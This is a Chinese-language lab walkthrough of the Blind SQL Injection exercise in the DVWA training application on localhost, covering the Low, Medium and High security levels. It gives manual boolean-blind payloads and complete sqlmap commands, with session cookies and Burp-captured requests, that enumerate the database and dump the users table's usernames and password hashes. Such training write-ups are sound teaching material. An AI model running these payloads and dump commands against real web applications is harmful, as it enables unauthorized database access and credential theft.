SQL Injection (Blind)(SQL 盲注)

盲注部分的源码与 SQL Injection 一致,只不过将查询内容不是直接返回,变成了只返回是否存在。就要通过这一特性来设置 payload 猜测要注入的部分。

Low

Boolean盲注

  • 获取数据库名

    1. 首先获取长度 1' and length(database())>3#

      长度大于3

      再输入 1' and length(database())>4#

      长度小于等于4

      所以用户名长度为 4

    2. 利用 ASCII 码猜测数据库的名称

      首先猜测第一个字母 1' and substr(database(),1,1)='a'#

      可以看到不是 a

      再试 1' and substr(database(),1,1)='d'#

      第一个字母是 d

      同理猜测其他的字母,第二个字母是 1' and substr(database(),2,1)='v'#

      其余的类似,不再赘述。 实际上做时,要写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,使用二分查找等方法。

利用 sqlmap

sqlmap 下载地址:https://sqlmap.org/

爆库过程如下:

首先 F12 命令行输入 document.cookiecookie 复制下来,下面命令要用到

获取当前数据库名

1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --current-db    

dvwa数据库所有表

1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --tables -D dvwa

dvwa数据库users表所有列

1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --columns -D dvwa -T users

dvwa数据库users表user和password列内容

1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --dump -D dvwa -T users -C "user,password"

成功!

Medium

利用 sqlmap,首先用 burp suite 抓包,然后将抓包的内容保存到 1.txt 文件中,然后使用命令依次获取信息

1
2
3
4
5
6
7
8
9
10
11
获得当前数据库:
python sqlmap.py -r "./1.txt" --technique B --current-db

获得dvwa数据库所有表:
python sqlmap.py -r "./1.txt" --technique B -D dvwa --tables

获得dvwa数据库users表的所有列:
python sqlmap.py -r "./1.txt" --technique B -D dvwa -T users --columns

获得dvwa数据库users表user和password列所有内容:
python sqlmap.py -r "./1.txt" --technique B -D dvwa -T users -C "user,password" --dump

High

这关使用sqlmap主要注意要比low关增加一个参数 --level 2,这样才会检测cookie中是否包含注入点(默认–level 1,不检测cookie)

1
2
3
4
5
6
7
8
9
10
11
当前数据库:
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie "id=1; PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=high" --technique B --level 2 --current-db

dvwa数据库所有表:
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie "id=1; PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=high" --technique B --level 2 --tables -D dvwa

dvwa数据库users表所有列:
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie "id=1; PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=high" --technique B --level 2 --columns -D dvwa -T users

dvwa数据库users表user和password列所有内容:
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie "id=1; PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=high" --technique B --level 2 --dump -D dvwa -T users -C "user,password"

成功